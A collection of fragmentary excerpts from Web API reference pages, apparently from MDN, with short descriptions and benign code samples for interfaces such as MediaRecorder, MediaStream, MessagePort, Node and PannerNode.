... specifications specification status comment keyboard mapthe definition of 'foreach()' in that specification.
KeyframeEffect - Web APIs
the keyframeeffect interface of the web animations api lets us create sets of animatable properties and values, called keyframes.
... these can then be played using the animation() constructor.
... animationeffect.getcomputedtiming() returns the calculated, current timing values for this keyframe effect.
...effect constructor is used to create a set of keyframes that dictate how the white rabbit should animate down the hole: var rabbitdownkeyframes = new keyframeeffect( whiterabbit, // element to animate [ { transform: 'translatey(0%)' }, // keyframe { transform: 'translatey(100%)' } // keyframe ], { duration: 3000, fill: 'forwards' } // keyframe options ); specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
LargestContentfulPaint - Web APIs
this example also demonstrates how to include buffered entries (those that ocurred before observer() was called), which is done by setting the buffered option to true.
... // catch errors since some browsers throw when using the new `type` option.
... addeventlistener('visibilitychange', function fn() { if (lcp && document.visibilitystate === 'hidden') { console.log('lcp:', lcp); removeeventlistener('visibilitychange', fn, true); } }, true); } catch (e) { // do nothing if the browser doesn't support this api.
... } specifications specification status comment largest contentful paintthe definition of 'largestcontentfulpaint' in that specification.
LayoutShift - Web APIs
examples the following example shows how to capture layout shifts and log them to the console.
... // catch errors since some browsers throw when using the new `type` option.
... observer.takerecords(); observer.disconnect(); console.log('cls:', cumulativelayoutshiftscore); } }); } catch (e) { // do nothing if the browser doesn't support this api.
... } specifications specification status comment layout instability apithe definition of 'layoutshift' in that specification.
LockedFile.flush() - Web APIs
WebAPILockedFileflush
periodically, the data are written onto disk.
... however, if something goes wrong before that, some operations can be lost.
... to avoid that, it's possible to force a write onto the disk by calling the flush method.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.readAsText() - Web APIs
the reading operation starts at the position given by the lockedfile.location property.
... encoding optional a string indicating the encoding to use for the returned data.
...in case of success, the request's result is a string representing the data that have been read.
... specifications specification status comment filesystem api editor's draft draft proposal ...
Long Tasks API - Web APIs
tasks that block the main thread for 50 ms or more cause, among other issues: delayed "time to interactive".
... usage var observer = new performanceobserver(function(list) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { // process long task notifications: // report back for analytics and monitoring // ...
... } }); // register observer for long task notifications observer.observe({entrytypes: ["longtask"]}); // long script execution after this will result in queueing // and receiving "longtask" entries in the observer.
... specifications specification status comment long tasks api 1 working draft initial definition.
MediaDeviceInfo.kind - Web APIs
specifications specification status comment media capture and streamsthe definition of 'kind' in that specification.
... candidate recommendation initial definition.
...erface is available through the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari no support nowebview android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillchrome android full support ...
...5notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes for earlier versions, this interface is available through the adapter.js polyfilllegend ...
MediaDeviceInfo.label - Web APIs
the label readonlyinline property of the mediadeviceinfo interface returns a domstring, that is a label describing this device (for example "external usb webcam").
...for security reasons, the label is always an empty string ("") if the user has not obtained permission to use at least one media device, either by starting a stream from the microphone or camera, or by persistent permissions being granted.
... specifications specification status comment media capture and streamsthe definition of 'label' in that specification.
... candidate recommendation initial definition.
MediaImage - Web APIs
its contents can be displayed by the user agent in appropriate contexts, like player interface to show the current playing video or audio track.
... properties src the url from which user agent can fetch the image's data.
... sizes specifies the resource in multiple sizes so that user agent does not have to scale a single image.
... specifications specification status comment media session standardthe definition of 'mediaimage' in that specification.
MediaRecorder.ignoreMutedMedia - Web APIs
the ignoremutedmedia property of the mediarecorder interface indicates whether the mediarecorder instance will record input, when the input mediastreamtrack is muted.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetignoremutedmedia deprecatednon-standardchrome no support 49 — 57edge no support nofirefox ?
...expect poor cross-browser support.deprecated.
... not for use in new websites.deprecated.
MediaRecorder.isTypeSupported - Web APIs
syntax var canrecord = mediarecorder.istypesupported(mimetype) parameters mimetype the mime media type to check.
... return value true if the mediarecorder implementation is capable of recording blob objects for the specified mime type.
...if the value is false, the user agent is incapable of recording the specified format.
..."maybe!" : "nope :(")); } specifications specification status comment mediastream recordingthe definition of 'istypesupported()' in that specification.
MediaRecorder.onstop - Web APIs
the stop event is thrown either as a result of the mediarecorder.stop() method being invoked, or when the media stream being captured ends.
... in each case, the stop event is preceded by a dataavailable event, making the blob captured up to that point available for you to use in your application.
... mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onstop' in that specification.
MediaRecorder.stop() - Web APIs
the mediarecorder.stop() method (part of the mediarecorder api) is used to stop media capture.
... set the mediarecorder.state to "inactive" and stop capturing media.
... syntax mediarecorder.stop() errors an invalidstate error is raised if the stop() method is called while the mediarecorder object’s mediarecorder.state is "inactive" — it makes no sense to stop media capture if it is already stopped.
... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.stop()' in that specification.
MediaSession.playbackState - Web APIs
the playbackstate property of the mediasession interface indicates whether the current media session is playing or paused.
... syntax let playbackstate = mediasession.playbackstate; mediasession.playbackstate = playbackstate; value a domstring indicating the current playback state of the media session.
... playing the browser's media session is currently playing media, which can be paused.
...or pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of 'playbackstate' in that specification.
MediaSessionActionDetails.seekTime - Web APIs
the mediasessionactiondetails dictionary's seektime property is always included when a seekto action is sent to the action handler callback.
... syntax let mediasessionactiondetails = { seektime: abstimeinseconds }; let abstime = mediasessionactiondetails.seektime; value a floating-point value indicating the absolute time in seconds into the media to which to move the current play position.
... usage notes to perform a "fast" seek (such as when issuing multiple seekto actions in sequence while handling a scrubbing operation, the details object's fastseek property's value is set to true, indicating that you should minimize or eliminate anything you do while handling the action that is only necessary at the final step.
... specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.seektime' in that specification.
MediaSource.endOfStream() - Web APIs
this can be used create a custom error handler related to media streams.
...when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured.
... this can be used to indicate that a parsing error has occured while fetching media data; maybe the data is corrupt, or is encoded using a codec that the browser doesn't know how to decode.
...) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'endofstream()' in that specification.
MediaStream.getAudioTracks() - Web APIs
note: the order of the returned tracks is not defined by the specification and may, in fact, change from one call to getaudiotracks() to the next.
... example this example gets a webcam's audio and video in a stream using getusermedia(), attaches the stream to a <video> element, then sets a timer that, upon expiring, will stop the first audio track found on the stream.
... navigator.mediadevices.getusermedia({audio: true, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the audio stream after 5 seconds settimeout(() => { const tracks = mediastream.getaudiotracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'getaudiotracks()' in that specification.
... candidate recommendation initial definition.
MediaStream.getVideoTracks() - Web APIs
note: the order of the tracks is not defined by the specification, and may not be the same from one call to getvideotracks() to another.
... example the following example, extracted from chrome's image capture / photo resolution sample, uses getvideotracks() to retrieve a track for passing to the imagecapture() constructor.
... var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) specifications specification status comment media capture and streamsthe definition of 'getvideotracks()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack: mute event - Web APIs
bubbles no cancelable no interface event event handler property onmute examples in this example, event handlers are established for the mute and unmute events in order to detect when the media is not flowing from the source for the mediastreamtrack referenced by musictrack.
... you can also use the onmute event handler property to set up a handler for this event; similarly, the onunmute event handler is available for setting up a handler for the unmute event.
... the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.onended - Web APIs
the mediastreamtrack.onended event handler is used to specify a function which serves as an eventhandler to be called when the ended event occurs on the track.
... examples this example sets up an event handler for the ended event which changes an on-screen icon to indicate that the track is no longer active.
... track.onended = function(event) { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onended' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack: unmute event - Web APIs
bubbles no cancelable no interface event event handler property onunmute note: the condition that most people think of as "muted" (that is, a user-controllable way to silence a track) is actually managed using the mediastreamtrack.enabled property, for which there are no events.
... you can also use the onunmute event handler property to set up a handler for this event; similarly, the onmute event handler is available for setting up a handler for the mute event.
... the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrackEvent - Web APIs
the mediastreamtrackevent interface represents events which indicate that a mediastream has had tracks added to or removed from the stream through calls to media stream api methods.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stro...
... specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent' in that specification.
... candidate recommendation ...
MediaTrackSupportedConstraints.autoGainControl - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... the autogaincontrol constraint indicates whether or not the browser offers the ability to automatically control the gain (volume) on media tracks; this obviously is contingent on whether or not the individual device supports automatic gain control as well; it's typically a feature provided by microphones.
... html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... the noisesuppression constraint indicates whether or not the browser offers the ability to automatically control the gain (volume) on media tracks; this obviously is contingent on whether or not the individual device supports automatic gain control as well.
... html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
... candidate recommendation initial specification.
MerchantValidationEvent() - Web APIs
validationurl optional the url from which to retrieve payment handler specific verification information used to validate the merchant.
... return value a newly-created merchantvalidationevent providing the information that needs to be delivered to the client-side code to present to the user agent by calling complete().
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent()' in that specification.
... candidate recommendation initial definition.
MessageEvent.MessageEvent() - Web APIs
this can be one of xxx init optional a dictionary object that can contain the following properties: data: the data you want contained in the messageevent.
... this can be of any data type, and will default to null if not specified.
... source: an messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
... example var mymessage = new messageevent('worker', { data : 'hello' }); specifications specification status comment html living standardthe definition of 'messageevent()' in that specification.
MessagePort: messageerror event - Web APIs
the messageerror event is fired on a messageport object when it receives a message that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and star...
... messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; myport.onmessageerror = (event) => { console.error(event.data); }; }); specifications specification status html living standard living standard ...
MessagePort.postMessage() - Web APIs
this can be of any basic data type.
... multiple data items can be sent as an array.
... example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... specifications specification status comment html living standardthe definition of 'postmessage()' in that specification.
Microsoft API extensions - Web APIs
microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard dom apis.
... note: these apis will only work in microsoft applications, and are not on a standards track.
... touch apis element.mszoomto() mscontentzoom msmanipulationevent msmanipulationstatechanged msmanipulationviewsenabled mspointerhover media apis htmlvideoelement.msframestep() htmlvideoelement.mshorizontalmirror htmlvideoelement.msinsertvideoeffect() htmlvideoelement.msislayoutoptimalforplayback htmlvideoelement.msisstereo3d htmlvideoelement.mszoom htmlaudioelement.msaudiocategory htmlaudioelement.msaudiodevicetype htmlmediaelement.mscleareffects() htmlmediaelement.msinsertaudioeffect() mediaerror.msextendedcode msgraphicstrust msgraphicstruststatus msisboxed msplaytodisabled msplaytopreferredsourceuri msplaytoprimary msplaytosource msrealtime mssetmediaprotectionmanager mssetvideorectangle msstereo3dpackingmode msstereo3drendermode onmsvideoformatch...
...anged onmsvideoframestepcompleted onmsvideooptimallayoutchanged msfirstpaint pinned sites apis mssitemodeevent mssitemodejumplistitemremoved msthumbnailclick other apis x-ms-aria-flowfrom x-ms-acceleratorkey x-ms-format-detection mscaching mscachingenabled mscapslockwarningoff event.msconverturl() mselementresize document.mselementsfromrect() msisstatichtml navigator.mslaunchuri() mslaunchuricallback element.msmatchesselector() msprotocols msputpropertyenabled mswriteprofilermark ...
MimeTypeArray - Web APIs
example the following example tests whether a plugin is available for the application/pdf mime type and if so, which plugin that is.
... var mimetypes = navigator.mimetype; var flashplugin = mimetypes['video/x-flv']; if (typeof flashplugin === "undefined") { var vid = document.createelement('video'); // use vid.canplaytype() to test for a supported mime type.
... } else { // notify the user that flash is being deprecated and they // should upgrade their browser.
... } specifications specification status comment html living standardthe definition of 'mimetypearray' in that specification.
MouseEvent.pageY - Web APIs
WebAPIMouseEventpageY
the pagey read-only property of the mouseevent interface returns the y (vertical) coordinate in pixels of the event relative to the whole document.
... this property takes into account any vertical scrolling of the page.
... examples var pagey = event.pagey; specifications specification status comment css object model (cssom) view modulethe definition of 'pagey' in that specification.
... touch eventsthe definition of 'pagey' in that specification.
MouseEvent.relatedTarget - Web APIs
event.relatedtarget.id : "unknown"; log.innertext = `\ninto ${event.target.id} from ${related} ${mouseoutlog.innertext}`; } result specifications specification status comment ui eventsthe definition of 'mouseevent.relatedtarget' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseevent.relatedtarget' in that specification.
... obsolete no change from document object model (dom) level 2 events specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.altkey' in that specification.
MouseScrollEvent - Web APIs
like mousewheelevent, this interface is non-standard and deprecated.
... method overview void initmousescrollevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type description axis read only long indicates scroll direction.
... constants delta modes constant value description horizontal_axis 0x01 the event is caused by horizontal wheel operation.
... vertical_axis 0x02 the event is caused by vertical wheel operation.
msPlayToPreferredSourceUri - Web APIs
this enables the playto target device to stream the media content, which can be drm protected, from a different location, such as a cloud media server.
... syntax ptr = object.msplaytopreferredsourceuri; value msplaytopreferredsourceuri enables a playto reference (a uri or url) for streaming content on the playto target device from a different location, such as a cloud media server.
...this uri can point to a cloud based media server allowing streaming directly from the cloud, which can be drm protected, instead of streaming content from the windows machine which must be unprotected content.
... example <video src="http://www.contoso.com/videos/video.mp4" msplaytopreferredsourceuri="http://www.contoso.com/catalogid=1234" /> var video = document.createelement('video'); document.body.appendchild(video); video.src = "http://www.contoso.com/videos/video.mp4"; video.msplaytopreferredsourceuri = "http://www.contoso.com/catalogid=1234"; see also microsoft playready content access and protection technology is a set of technologies that can be used to distribute audio/video content more securely over a network, and help prevent the unauthorized use of this content.
MutationObserver.disconnect() - Web APIs
the observer can be reused by calling its observe() method again.
... note: all notifications of mutations that have already been detected, but not yet reported to the observer, are discarded.
... const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* some time later...
... */ observer.disconnect(); specifications specification status comment domthe definition of 'mutationobserver.disconnect()' in that specification.
MutationObserverInit.characterDataOldValue - Web APIs
syntax var options = { characterdataoldvalue: true | false } value a boolean value indicating whether or not to set the mutationrecord's oldvalue property to be a string containing the value of the character node's contents prior to the change represented by the mutation record.
... by default, only changes to the text of the node specified as the target parameter when you called observe() are monitored.
... if you set characterdataoldvalue to true, characterdata is automatically assumed to be true, even if you don't expressly set it as such.
... example specifications specification status comment domthe definition of 'mutationobserverinit.characterdataoldvalue' in that specification.
NDEFRecord.recordType - Web APIs
syntax ndefrecord.recordtype value a usvstring which can be one of the following: "empty" represents a empty ndef record.
... local type name represents a local type name, frequently used to specify ndef record embedded within another record.
... external type name represents a custom record type name that can be creted by organizations themselves for custom needs.
... specifications specification status comment web nfc, ndefrecord.recordtype draft initial definition.
NDEFRecord - Web APIs
the ndefrecord interface of the web nfc api is an abstract interface that represents data that can be read from or written to compatible nfc devices, e.g.
... ndefrecord.id read only represents the identificator of the record.
... ndefrecord.encoding read only represents the encoding name used for encoding the payload in the case it is textual data.
... specifications specification status comment web nfc, ndefrecord draft initial definition.
Navigator.clipboard - Web APIs
the clipboard api can be used to implement cut, copy, and paste features within a web application.
...perhaps this code is being used in a browser extension that displays the current clipboard contents, automatically updating periodically or when specific events fire.
...this happens because readtext() returns an empty string if the clipboard is empty or doesn't contain text.
... specifications specification status comment clipboard api and eventsthe definition of 'navigator.clipboard' in that specification.
Navigator.mediaDevices - Web APIs
the navigator.mediadevices read-only property returns a mediadevices object, which provides access to connected media input devices like cameras and microphones, as well as screen sharing.
...usually, you just use this object's members directly, such as by calling navigator.mediadevices.getusermedia().
... specifications specification status comment media capture and streamsthe definition of 'navigatorusermedia.mediadevices' in that specification.
... candidate recommendation initial definition.
NavigatorID.appName - Web APIs
the value of the navigatorid.appname property is always "netscape", in any browser.
...all browsers return "netscape" as the value of this property.
... syntax appname = navigator.appname value the string "netscape".
... specifications specification status comment html living standardthe definition of 'navigatorid.appname' in that specification.
NavigatorID - Web APIs
navigatorid.appname read only always returns "netscape", in any browser.
... specifications specification status comment html living standardthe definition of 'navigatorid' in that specification.
... html5the definition of 'navigatorid' in that specification.
... recommendation initial specification.
NavigatorPlugins.plugins - Web APIs
returns a pluginarray object, listing the plugin objects describing the plugins installed in the application.
...applications that must check for the presence of a browser plugin should query navigator.plugins or navigator.mimetypes by exact name instead of enumerating the navigator.plugins array and comparing every plugin's name.
...a list of plugins is also available by entering about:plugins in the browser's location bar.
... specifications specification status comment html living standardthe definition of 'navigatorplugins.plugins' in that specification.
NavigatorStorage.storage - Web APIs
the navigatorstorage.storage read-only property returns the singleton storagemanager object used to access the overall storage capabilities of the browser for the current site or app.
... the returned object lets you examine and configure persistence of data stores and learn approximately how much more space your browser has available for local storage use.
... syntax var storagemanager = navigator.storage; value a storagemanager object you can use to maintain persistence for stored data, as well as to determine roughly how much room there is for data to be stored.
... specifications specification status comment storagethe definition of 'navigator.storage' in that specification.
NavigatorStorage - Web APIs
there are many apis which provide ways for web content to store data on a user's computer, including cookies, the web storage api (window.localstorage and window.sessionstorage), and indexeddb.
... the storage standard is designed to serve as a common basis for the implementation of all of those apis and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.
...through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data.
... specifications specification status comment storage living standard initial definition.
NetworkInformation.downlink - Web APIs
this value is based on recently observed application layer throughput across recently active connections, excluding connections made to a private address space.
... note that chrome-based browsers do not conform to the specification, and arbitrarily cap the reported downlink at a maximum of 10 mbps as an anti-fingerprinting measure.
... similar caps exist for the reported latency.
... specifications specification status comment network information apithe definition of 'downlink' in that specification.
NetworkInformation - Web APIs
the networkinformation interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes.
... the networkinformation interfaces cannot be instantiated.
... networkinformation.type read only returns the type of connection a device is using to communicate with the network.
... specifications specification status comment network information apithe definition of 'networkinformation' in that specification.
Node.getRootNode() - Web APIs
WebAPINodegetRootNode
the available options are: composed: a boolean that indicates whether the shadow root should be returned (false, the default), or a root node beyond shadow root (true).
...this will differ in exact form depending on where you called getrootnode(); for example: calling it on an element inside a standard web page will return an htmldocument object representing the entire page.
... calling it on an element inside a shadow dom will return the associated shadowroot.
...+ '<div class="js-shadowchild">content</div>'; var shadowchild = shadowroot.queryselector('.js-shadowchild'); // the default value of composed is false console.log(shadowchild.getrootnode() === shadowroot); // true console.log(shadowchild.getrootnode({composed:false}) === shadowroot); // true console.log(shadowchild.getrootnode({composed:true}).nodename); // #document </script> specifications specification status comment domthe definition of 'getrootnode()' in that specification.
Node.lastChild - Web APIs
WebAPINodelastChild
syntax var childnode = node.lastchild; example var tr = document.getelementbyid("row1"); var corner_td = tr.lastchild; specifications specification status comment domthe definition of 'node.lastchild' in that specification.
... living standard no change document object model (dom) level 3 core specificationthe definition of 'node.lastchild' in that specification.
... obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.lastchild' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'node.lastchild' in that specification.
Node.previousSibling - Web APIs
specifications specification status comment domthe definition of 'node.previoussibling' in that specification.
... living standard no change document object model (dom) level 3 core specificationthe definition of 'node.previoussibling' in that specification.
... obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.previoussibling' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'node.previoussibling' in that specification.
NodeFilter.acceptNode() - Web APIs
the function should return nodefilter.filter_accept, which causes the treewalker to return the node, nodefilter.filter_reject, which causes the treewalker to ignore the entire subtree, or nodefilter.filter_skip.
...odeiterator = document.createnodeiterator( // node to use as root document.getelementbyid('someid'), // only consider nodes that are text nodes (nodetype 3) nodefilter.show_text, // object containing the function to use for the acceptnode method // of the nodefilter { acceptnode: function(node) { // logic to determine whether to accept, reject or skip node // in this case, only accept nodes that have content // other than whitespace if ( !
... /^\s*$/.test(node.data) ) { return nodefilter.filter_accept; } } }, false ); // show the content of every non-empty text node that is a child of root var node; while ((node = iterator.nextnode())) { alert(node.data); } specifications specification status comment domthe definition of 'nodefilter.acceptnode()' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'nodefilter.acceptnode()' in that specification.
NodeIterator.previousNode() - Web APIs
in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if this method is called after the nodeiterator.detach()method.
...nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node previousnode = nodeiterator.previousnode(); // same result, since we backtracked to the previous node specifications specification status comment domthe definition of 'nodeiterator.previousnode' in that specification.
... living standard as detach() is now a no-op method, this method cannot throw anymore.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.previousnode' in that specification.
NonDocumentTypeChildNode - Web APIs
the nondocumenttypechildnode interface contains methods that are particular to node objects that can have a parent, but not suitable for documenttype.
... nondocumenttypechildnode is a raw interface and no object of this type can be created; it is implemented by element, and characterdata objects.
... specifications specification status comment domthe definition of 'nondocumenttypechildnode' in that specification.
... element traversal specificationthe definition of 'elementtraversal' in that specification.
OES_standard_derivatives - Web APIs
constants this extension exposes one new constant, which can be used in the hint() and getparameter() methods.
... ext.fragment_shader_derivative_hint_oes a glenum indicating the accuracy of the derivative calculation for the glsl built-in functions: dfdx, dfdy, and fwidth.
... glsl built-in functions the following new functions can be used in glsl shader code, if this extension is enabled: gentype dfdx(gentype) gentype dfdy(gentype) gentype fwidth(gentype) examples enabling the extensions: gl.getextension('oes_standard_derivatives'); gl.getextension('ext_shader_texture_lod'); shader code that avoids artifacts when wrapping texture coordinates: <script type="x-shader/x-fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment ...
... oes_standard_derivativesthe definition of 'oes_standard_derivatives' in that specification.
OES_vertex_array_object - Web APIs
the oes_vertex_array_object extension is part of the webgl api and provides vertex array objects (vaos) which encapsulate vertex array states.
... constants this extension exposes one new constant, which can be used in the gl.getparameter() method: ext.vertex_array_binding_oes returns a webglvertexarrayobject object when used in the gl.getparameter() method as the pname parameter.
...// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
... specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
OrientationSensor.populateMatrix() - Web APIs
where: w = cos(θ/2) x = vx * sin(θ/2) y = vy * sin(θ/2) z = vz * sin(θ/2) if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... syntax orientationinstance.populatematrix(targetmatrix) because orientationsensor is a base class, populatematrix may only be read from one of its derived classes.
... parameters targetmatrix tbd return value undefined example // tbd specifications specification status comment orientation sensorthe definition of 'populatematrix' in that specification.
... candidate recommendation initial definition.
OrientationSensor - Web APIs
this interface cannot be used directly.
... if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... } else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'orientationsensor' in that specification.
... candidate recommendation initial definition.
OscillatorNode.type - Web APIs
doing so automatically sets the type to custom.
...to set a custom waveform, just call setperiodicwave().
... doing so automatically sets the type for you.
... // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'type' in that specification.
OverconstrainedError.OverconstrainedError() - Web APIs
the overconstrainederror constructor creates a new overconstrainederror object which indicates that the set of desired capabilities for the current mediastreamtrack cannot currently be met.
... when this event is thrown on a mediastreamtrack, it is muted until either the current constraints can be established or until satisfiable constraints are applied.
... specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification.
... candidate recommendation initial definition.
OverconstrainedError - Web APIs
the overconstrainederror interface of the media capture and streams api indicates that the set of desired capabilities for the current mediastreamtrack cannot currently be met.
... when this event is thrown on a mediastreamtrack, it is muted until either the current constraints can be established or until satisfiable constraints are applied.
... specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification.
... candidate recommendation initial definition.
PannerNode.positionX - Web APIs
the positionx property of the pannernode interface specifies the x coordinate of the audio source's position in 3d cartesian coordinates, corresponding to the horizontal axis (left-right).
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var positionx = pannernode.positionx; pannernode.positionx.value = newpositionx; value an audioparam whose value is the x coordinate of the audio source's position, in 3d cartesian coordinates.
... const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.positionx.setvalueattime(-1, context.currenttime + 1); panner.positionx.setvalueattime(1, context.currenttime + 2); panner.positionx.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'positionx' in that specification.
PannerNode.refDistance - Web APIs
